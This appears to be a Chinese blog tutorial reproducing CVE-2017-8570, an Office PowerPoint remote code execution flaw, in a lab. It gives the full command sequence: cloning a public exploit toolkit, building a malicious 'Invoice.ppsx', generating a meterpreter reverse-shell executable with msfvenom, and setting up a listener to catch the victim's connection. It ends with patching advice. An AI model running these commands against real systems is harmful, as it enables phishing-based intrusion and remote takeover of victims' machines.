欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

CVE-2017-8570(Office远程代码执行)

程序员文章站 2022-07-15 13:43:05
...

CVE-2017-8570(Office远程代码执行)


免责声明:

此文章仅用于学习研究使用,请勿用于违法犯罪,请遵守《网络安全法》等相关法律法规。


漏洞概述:

2017年7月,微软在例行的月度补丁中修复了多个Microsoft Office漏洞,其中的CVE-2017-8570漏洞为一个逻辑漏洞,利用方法简单。网上已经出现该漏洞的利用代码,影响范围较广。
该漏洞为Microsoft Office的一个远程代码执行漏洞。其成因是Microsoft PowerPoint执行时会初始化Script”Moniker对象,而在PowerPoint播放动画期间会**该对象,从而执行sct脚本(Windows Script Component)文件。攻击者可以欺骗用户运行含有该漏洞的PPT文件,导致获取和当前登录用户相同的代码执行权限。

影响范围:

Microsoft Office 2007 Service Pack 3 
Microsoft Office 2010 Service Pack 2 (32-bit editions) 
Microsoft Office 2010 Service Pack 2 (64-bit editions) 
Microsoft Office 2013 RT Service Pack 1 
Microsoft Office 2013 Service Pack 1 (32-bit editions) 
Microsoft Office 2013 Service Pack 1 (64-bit editions) 
Microsoft Office 2016 (32-bit edition) 
Microsoft Office 2016 (64-bit edition)

环境搭建:

Kali(攻击机 IP:192.168.110.132)
Windows10(目标机Office 2016 IP:192.168.110.136)

复现:

1.下载漏洞利用脚本,使用Kali,通过git clone命令下载脚本

git clone https://github.com/tezukanice/Office8570.git

CVE-2017-8570(Office远程代码执行)
2.生成恶意的ppsx文件,这里文件内是有个template.ppsx文件,我们需要新建一个template文件夹,将template.ppsx放到该文件夹内

mkdir template
mv template.ppsx template/template.ppsx
python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://192.168.110.132/logo.doc

CVE-2017-8570(Office远程代码执行)
3.使用msf生成反弹shell的exe文件,这里的payload如果是64位操作系统的话是需要加x64,否则不加

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.110.132 LPORT=8888 -f exe > shell.exe

CVE-2017-8570(Office远程代码执行)
4.使用python通过脚本在80端口监听,等待接收并下载shell.exe文件

python cve-2017-8570_toolkit.py -M exp -e http://192.168.110.132/shell.exe -l shell.exe

CVE-2017-8570(Office远程代码执行)
5.使用msf监听,添加payload、监听主机、监听端口,运行

msfconsole 
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp  ##64位操作系统,否则不加
set lhost 192.168.110.132
set lport 8888
exploit

CVE-2017-8570(Office远程代码执行)
6.将Invoice.ppsx发给目标机,目标机打开则会下载shell.exe,然后会返回一个meterpreter,获取到shell
CVE-2017-8570(Office远程代码执行)

修复建议:

及时安装相应版本的补丁
不要打开任何来源不明的office文件